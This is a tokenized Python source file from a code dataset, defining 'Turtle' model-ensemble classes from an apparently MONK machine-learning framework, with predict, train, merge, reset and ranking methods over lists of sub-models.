"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scores_", "=_", "[_", "panda", "_", "._", "predict_", "(_", "entity_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "predicted_", "=_", "self_", "._", "inverted", "Mapping_", "[_", "tuple_", "(_", "map_", "(_", "sign", "0_", ",_", "scores_", ")_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tig", "ress_", "._", "measure_", "(_", "entity_", ",_", "predicted_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "predicted_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "data_", "(_", "self_", ",_", "entity_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test_", "=_", "[_", "panda", "_", "._", "predict_", "(_", "entity_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "info_", "(_", "'", "tur", "tle", " ", "{", "0", "}", " ", "value", " ", "is", " ", "{", "1", "}'_", "._", "format_", "(_", "self_", "._", "creator_", ",_", "test_", "[_", "0_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "data_", "(_", "self_", ",_", "entity_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "tig", "ress_", "._", "supervis", "e_", "(_", "self_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "active", "\\u", "train_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tig", "ress_", "._", "supervis", "e_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "e_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "info_", "(_", "\"", "tur", "tle", " ", "{", "0", "}", " ", "doe", "s", " ", "not", " ", "have", " ", "active", " ", "supervis", "er", "\"_", "._", "format_", "(_", "self_", "._", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "train_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "panda", "_", "._", "train_", "(_", "self_", "._", "leader_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p", "Train", "Clock_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "update", "\\u", "fields_", "(_", "{_", "self_", "._", "FT", "RAI", "NC", "LOCK_", ":_", "self_", "._", "p", "Train", "Clock_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "debug_", "(_", "'", "train", "ing", " ", "clock", " ", "{", "0", "}'_", "._", "format_", "(_", "self_", "._", "p", "Train", "Clock_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "checkout_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "panda", "_", "._", "checkout_", "(_", "self_", "._", "leader_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "commit_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "panda", "_", "._", "commit_", "(_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "merge_", "(_", "self_", ",_", "follower", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "follower", "_", "not_", "in_", "self_", "._", "followers", "_", "and_", "follower", "_", "!=_", "self_", "._", "creator_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "error_", "(_", "'", "user", " ", "{", "0", "}", " ", "is", " ", "not", " ", "a", " ", "follower", " ", "of", " ", "{", "1", "}@", "{", "2", "}'_", "._", "format_", "(_", "follower", "_", ",_", "self_", "._", "creator_", ",_", "self_", "._", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "merge", "Queue_", "._", "add_", "(_", "follower", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "self_", "._", "merge", "Queue_", ")_", ">=_", "min_", "(_", "len_", "(_", "self_", "._", "followers", "_", ")_", ",_", "self_", "._", "p", "Parti", "al", "Barri", "er_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "follower", "_", "in_", "self_", "._", "merge", "Queue_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "panda", "_", "._", "merge_", "(_", "follower", "_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "merge", "Queue_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "panda", "_", "._", "update", "\\u", "fields_", "(_", "{_", "panda", "_", "._", "FC", "ONS", "ENS", "US_", ":_", "panda", "_", "._", "z_", "._", "generic_", "(_", ")_", "}_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p", "Merge", "Clock_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "update", "\\u", "fields_", "(_", "{_", "self_", "._", "FM", "ER", "GE", "CLOCK", "_", ":_", "self_", "._", "p", "Merge", "Clock_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logger_", "._", "debug_", "(_", "'", "merge", " ", "clock", " ", "{", "0", "}'_", "._", "format_", "(_", "self_", "._", "p", "Merge", "Clock_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "reset_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "panda", "_", "._", "reset_", "(_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p", "Train", "Clock_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p", "Merge", "Clock_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "update", "\\u", "fields_", "(_", "{_", "self_", "._", "FT", "RAI", "NC", "LOCK_", ":_", "self_", "._", "p", "Train", "Clock_", ",_", "self_", "._", "FM", "ER", "GE", "CLOCK", "_", ":_", "self_", "._", "p", "Merge", "Clock_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "reset", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "panda", "_", "._", "reset", "\\u", "data_", "(_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "mant", "is", "\\u", "parameter_", "(_", "self_", ",_", "para_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "panda", "_", "._", "set\\u", "mant", "is", "\\u", "parameter_", "(_", "para_", ",_", "value_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Sing", "le", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Sing", "le", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "predict_", "(_", "self_", ",_", "entity_", ",_", "fields_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "panda", "_", "=_", "self_", "._", "pandas_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "score_", "=_", "panda", "_", "._", "predict_", "(_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sign", "0_", "(_", "score_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tig", "ress_", "._", "measure_", "(_", "entity_", ",_", "panda", "_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "monit", "or", "\\u", "accuracy_", "(_", "panda", "_", "._", "name_", ",_", "self_", "._", "creator_", ",_", "score_", ",_", "'", "Tru", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "panda", "_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tig", "ress_", "._", "measure_", "(_", "entity_", ",_", "cons_", "._", "DEF", "AUL", "T", "\\u", "NONE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "monit", "or", "\\u", "accuracy_", "(_", "panda", "_", "._", "name_", ",_", "self_", "._", "creator_", ",_", "score_", ",_", "'", "Fal", "se", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cons_", "._", "DEF", "AUL", "T", "\\u", "NONE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Multi", "Label", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Multi", "Label", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "predict_", "(_", "self_", ",_", "entity_", ",_", "fields_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "predicted_", "=_", "[_", "panda", "_", "._", "name_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "if_", "panda", "_", "._", "predict_", "(_", "entity_", ")_", ">_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tig", "ress_", "._", "measure_", "(_", "entity_", ",_", "predicted_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "predicted_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Rank", "ing", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "FT", "ARG", "ET", "\\u", "CONNECTION", "\\u", "STRING_", "=_", "'", "target", "Connect", "ion", "String", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FT", "ARG", "ET", "\\u", "DATA", "BASE", "\\u", "NAME_", "=_", "'", "target", "Databa", "se", "Name", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FT", "ARG", "ET", "\\u", "COLLECTION", "\\u", "NAME_", "=_", "'", "target", "Collecti", "on", "Name", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FT", "ARG", "ET", "\\u", "NUM", "\\u", "LEVELS", "_", "=_", "'", "num", "Levels", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FB", "EA", "M", "\\u", "SIZE_", "=_", "'", "beam", "Size", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FW", "IND", "OW", "\\u", "SIZE_", "=_", "'", "window", "Size", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FQ", "UE", "RY_", "=_", "'", "query", "Func", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "FT", "ARG", "ET", "\\u", "STORE", "_", "=_", "'", "target", "Stor", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "RA", "W", "\\u", "TARGET", "ID_", "=_", "'\\u", "target", "Id", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "RA", "W", "\\u", "REL", "EV", "ANCE", "_", "=_", "'\\u", "relevance", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Rank", "ing", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "default", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Rank", "ing", "Tur", "tle_", ",_", "self_", ")_", "._", "\\u\\u", "default", "\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "target", "Connect", "ion", "String_", "=_", "cons_", "._", "DEF", "AUL", "T", "\\u", "EMPTY_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "target", "Databa", "se", "Name_", "=_", "cons_", "._", "DEF", "AUL", "T", "\\u", "EMPTY_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "target", "Collecti", "on", "Name_", "=_", "cons_", "._", "DEF", "AUL", "T", "\\u", "EMPTY_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "target", "Store_", "=_", "cra", "ne_", "._", "Cra", "ne_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "num", "Levels_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "beam", "Size_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "window", "Size_", "=_", "2_", "*_", "self_", "._", "beam", "Size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "query", "Func_", "=_", "cons_", "._", "DEF", "AUL", "T", "\\u", "FUNC", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rank", "ing", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "restore", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Rank", "ing", "Tur", "tle_", ",_", "self_", ")_", "._", "\\u\\u", "restore", "\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "target", "Store_", "=_", "cra", "ne_", "._", "Cra", "ne_", "(_", "self_", "._", "target", "Connect", "ion", "String_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "target", "Databa", "se", "Name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "target", "Collecti", "on", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rank", "ing", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generic_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "super_", "(_", "Rank", "ing", "Tur", "tle_", ",_", "self_", ")_", "._", "generic_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "result_", "[_", "self_", "._", "FT", "ARG", "ET", "\\u", "STORE", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rank", "ing", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clone_", "(_", "self_", ",_", "user", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "super_", "(_", "Rank", "ing", "Tur", "tle_", ",_", "self_", ")_", "._", "clone_", "(_", "user", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rank", "ing", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "predict_", "(_", "self_", ",_", "entity_", ",_", "fields_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "eval_", "(_", "self_", "._", "query", "Func_", ")_", "(_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "Ids_", "=_", "self_", "._", "target", "Store_", "._", "load", "\\u", "all", "\\u", "in", "\\u", "ids_", "(_", "query_", ",_", "0_", ",_", "self_", "._", "window", "Size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "targets_", "=_", "self_", "._", "target", "Store_", "._", "load", "\\u", "all", "\\u", "by", "\\u", "ids_", "(_", "target", "Ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "relation_", "=_", "Match", "ing", "Relation_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "relation_", "._", "set\\u", "argument_", "(_", "0_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "target_", "in_", "targets_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "relation_", "._", "set\\u", "argument_", "(_", "1_", ",_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "relation_", "._", "compute_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rank_", "=_", "self_", "._", "inverted", "Mapping_", "[_", "[_", "sign", "0_", "(_", "panda", "_", "._", "predict_", "(_", "relation_", ")_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "append_", "(_", "(_", "rank_", ",_", "target_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "._", "sort_", "(_", "reverse_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "results_", "[_", ":_", "self_", "._", "beam", "Size_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rank", "ing", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "data_", "(_", "self_", ",_", "entity_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target", "Id_", "=_", "entity_", "._", "get", "\\u", "raw_", "(_", "self_", "._", "RA", "W", "\\u", "TARGET", "ID_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "relevance", "_", "=_", "entity_", "._", "get", "\\u", "raw_", "(_", "self_", "._", "RA", "W", "\\u", "REL", "EV", "ANCE", "_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "target", "Id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "target_", "=_", "self_", "._", "target", "Store_", "._", "load", "\\u", "one", "\\u", "by", "\\u", "id_", "(_", "target", "Id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "relation_", "=_", "Match", "ing", "Relation_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "relation_", "._", "set\\u", "argument_", "(_", "0_", ",_", "entity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "relation_", "._", "set\\u", "argument_", "(_", "1_", ",_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "relation_", "._", "compute_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "relation_", "._", "set\\u", "raw_", "(_", "self_", "._", "RA", "W", "\\u", "REL", "EV", "ANCE", "_", ",_", "relevance", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tig", "ress_", "._", "supervis", "e_", "(_", "self_", ",_", "relation_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "SP", "NT", "ur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "default", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Dict", "ionar", "y", "Tur", "tle_", ",_", "self_", ")_", "._", "\\u\\u", "default", "\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dictionary_", "=_", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "ionar", "y", "Tur", "tle_", "(_", "Tur", "tle_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", 